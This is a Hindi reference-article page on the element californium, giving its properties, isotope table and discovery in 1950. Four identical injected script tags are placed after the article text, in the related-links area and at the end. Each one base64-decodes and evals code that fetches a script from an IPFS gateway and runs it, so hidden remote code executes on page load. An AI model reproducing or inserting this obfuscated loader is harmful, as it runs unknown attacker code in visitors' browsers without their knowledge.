कैलिफ़ोर्नियम
|
चमकीला
|
साधारण गुणधर्म
|
नाम, प्रतीक, संख्या
|
कैलिफ़ोर्नियम, Cf, 98
|
तत्व श्रेणी
|
ऐक्टिनाइड
|
समूह, आवर्त, कक्षा
|
3, 7, f
|
मानक परमाणु भार
|
251g·mol−1
|
इलेक्ट्रॉन विन्यास
|
1s2 2s2 2p6 3s2 3p6 3d10 4s2 4p6 5s2 4d10 5p6 4f14 5d10 6s2 6p6 5f10 7s2
|
इलेक्ट्रॉन प्रति शेल
|
2, 8, 18, 32, 28, 8, 2
|
भौतिक गुणधर्म
|
अवस्था
|
ठोस
|
घनत्व (निकट क.ता.)
|
15.1 g·cm−3
|
गलनांक
|
1173 K, 900 °C, 1652 °F
|
क्वथनांक
|
1743 K, 1470 °C, 2678 --> °F
|
परमाण्विक गुणधर्म
|
ऑक्सीकरण अवस्था
|
2, 3, 4
|
इलेक्ट्रोनेगेटिविटी
|
1.3 (पाइलिंग पैमाना)
|
आयनीकरण ऊर्जाएँ
|
1st: 608 कि.जूल•मोल−1
|
विविध गुणधर्म
|
मोह्स कठोरता मापांक
|
3–4
|
सी.ए.एस पंजीकरण संख्या
|
7440-71-3
|
समस्थानिक
|
समस्थानिक
|
प्रा. प्रचुरता
|
अर्द्ध आयु
|
क्षरण अवस्था
|
क्षरण ऊर्जा (MeV)
|
क्षरण उत्पाद
|
248Cf
|
syn
|
333.5 d
|
α (100%)
|
6.369
|
244Cm
|
SF (2.9×10−3%)
|
0.0029
|
–
|
249Cf
|
syn
|
351 y
|
α (100%)
|
6.295
|
245Cm
|
SF (5.0×10−7%)
|
4.4×10−7
|
–
|
250Cf
|
syn
|
13.08 y
|
α (99.92%)
|
6.129
|
246Cm
|
SF (0.08%)
|
0.077
|
–
|
251Cf
|
syn
|
898 y
|
α
|
6.172
|
247Cm
|
252Cf
|
syn
|
2.645 y
|
α (96.91%)
|
6.217
|
248Cm
|
SF (3.09%)
|
–
|
–
|
253Cf
|
syn
|
17.81 d
|
β− (99.69%)
|
0.29
|
253Es
|
α (0.31%)
|
6.126
|
249Cm
|
254Cf
|
syn
|
60.5 d
|
SF (99.69%)
|
–
|
–
|
α (0.31%)
|
5.930
|
250Cm
|
|
कैलिफ़ोर्नियम (अंग्रेज़ी:Californium) आवर्त सारणी में 'ऐक्टिनाइड श्रेणी' का एक तत्त्व है। कैलिफ़ोर्नियम का प्रतीक 'Cf' तथा परमाणु संख्या 98 है। कैलिफ़ोर्नियम का इलेक्ट्रॉनिक विन्यास 1s2 2s2 2p6 3s2 3p6 3d10 4s2 4p6 5s2 4d10 5p6 4f14 5d10 6s2 6p6 5f10 7s2 होता है। 1950 ई. में क्यूरियम परमाणुओं पर ऐल्फा कणों की अभिक्रिया द्वारा यह तत्व निर्मित किया गया। अमरीका के कैलिफ़ोर्निया प्रदेश के आधार पर इसे कैलिफ़ोर्निया नाम से जाना गया। कैलिफ़ोर्नियम के 11 समस्थानिक ज्ञात हैं, जिनमें 251 भार का समस्थानिक सबसे स्थिर है।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> रसायन विज्ञान |
---|
| भौतिक रसायन | | | अकार्बनिक रसायन | | | कार्बनिक रसायन | | | तत्त्व | | | यौगिक | | | अन्य | |
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>